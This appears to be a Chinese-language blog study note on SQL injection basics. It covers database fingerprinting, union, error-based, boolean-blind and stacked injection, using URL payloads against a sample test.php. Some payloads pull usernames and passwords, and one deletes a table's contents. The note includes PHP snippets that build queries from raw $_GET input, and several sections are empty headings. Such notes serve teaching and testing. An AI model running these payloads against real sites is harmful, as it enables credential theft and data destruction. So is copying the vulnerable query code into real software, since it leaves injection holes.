sqli基础

本文最后更新于:1 年前

sqli

判断数据库类型

  • 一言以蔽之,通过各个数据库的特性以及报错信息的不同,就可以确定下目标数据库类型

  • 默认端口判断

    Oracle:1521

    SQL Server:1433

    MySQL :3306

  • 数据库特有的数据表判断
    • oracle数据库
    1
    test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
    • mysql数据库(mysql版本在5.0以上)
    1
    test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
    • access数据库
    1
    test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1
    • mssql数据库
    1
    test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1

注入基础

基本流程

  • Get型 整型与字符型注入判断 –+(– -)表示注释其后内容
  • 判断列数:order by n(n+1)
  • 判断显示位select 1,2,3,4…n(n+1)

Point

1
2
3
4
5
6
7
8
9
10
11
group_concat() 把相同的值全部以逗号分割的形式列出来
1:system_user() 系统用户名
2:user() 用户名
3:current_user 当前用户名
4:session_user() 连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本
7:load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数
8:@@datadir 读取数据库路径
9:@@basedir MYSQL安装路径
10:@@version_compile_os 操作系统

数字型注入和UNION注入

1
test.php?id=2 #注入点
  • 数字运算判断
1
2
3
4
5
6
7
//源码
...
$conn = mysqli_connect("127.0.0.1", "root", "root", "test")
$res = mysqli_query($conn, "SELECT title, content FROM wp_news WHERE id=".$_GET['id'])
...
//判断
test.php?id=3-1 #回显一致即可确定为数字注入,源码表现为输入点“$_GET['id']”附近无引号包裹
  • 联合查询
1
2
3
4
5
6
7
8
9
10
#表名查询
test.php?id=-1 union SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()
#列查询
test.php?id=-1 union SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='wp_user'
#实例
test.php?id=2 union SELECT user,pwd FROM wp_user
#显示控制(页面显示受限时)
test.php?id=1 union SELECT user,pwd FROM wp_user limit 1,1(显示查询效果的第二条)
test.php?id=-1 union SELECT user,pwd FROM wp_user


字符型注入和布尔盲注

  • 类型判断
1
2
3
4
5
6
//源码
...
$res = mysqli_query($conn,"SELECT title,content FROM wp_news WHERE id='".$_GET['id']."'")
...
//判断
test.php?id=2a #确定不是数字型后,加字母回显一致表明输入点被‘’包围,强制转换为字符串,确定为字符型
  • 闭合+注释
1
2
3
test.php?id=2'%23
test.php?id=2'--+
test.php?id=2'--%20
  • 闭合+闭合
1
test.php?id=2' and '1
  • 布尔盲注
1
2
3
4
5
6
test.php?id=2' and 'a'='a'	#原理
test.php?id=2' and 'f'<'n' #二分法猜测字符
//1位字符
test.php?id=2' and(select mid((select concat(user,0x7e,pwd)from wp_user),1,1))='a'%23
//第2位字符
test.php?id=2' and(select mid((select concat(user,0x7e,pwd)from wp_user),2,1))='d'%23
  • 时间盲注

报错注入

  • 原理

    触发SQL语句错误并把错误信息输出

  • updatexml报错

1
2
3
4
5
test.php?id=1' or updatexml(1,concat(0x7e,(select pwd from wp_user)),1)%23
//源码
...
$res = mysqli_query($conn, "SELECT title, content FROM wp_news WHERE id='".$_GET['id']."'") OR VAR_DUMP(mysqli_error($conn));
...
  • 堆叠注入(修改数据库)
1
2
3
4
5
6
7
//多语句执行源码
<?php
$db = new PDO("mysql:host=localhost:3306;dbname=test","root",'root');
$sql = "SELECT title, content FROM wp_news WHERE id='".$_GET['id']."'";
...
//删除表wp_files中所有数据
test.php?id=1%27;delete%20%20from%20wp_files;%23

注入优先级

​ UNION注入>报错注入>布尔盲注>时间盲注


注入点

SELECT注入

  1. 注入点在select_expr
1
2
3
4
5
test.php?id=(select pwd from wp_user) as title	#AS别名法
//源码
...
$res = mysqli_query($conn, "select ${_GET['id']}, content from wp_news");
...
  1. 注入点在table_reference
1
2
3
4
5
test.php?table=(select pwd as title from wp_user)
//源码
...
$res = mysqli_query($conn, "select title from ${_GET['table']}");
...
  1. 注入点在WHERE或HAVING后
1
2
3
4
//源码
...
$res = mysqli_query($conn, "select title from wp_news where id = ${_GET[id]}");
...
  1. 注入点在GROUP by或order by后
1
2
3
4
5
6
//时间注入
test.php?title=id desc,(1,if(sleep(1),1))
//源码
...
$res = mysqli_query($conn, "select title from wp_news group by ${_GET['title']}");
...
  1. 注入点在LIMIT后
1


INSERT注入


UPDATE注入


DELETE注入


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!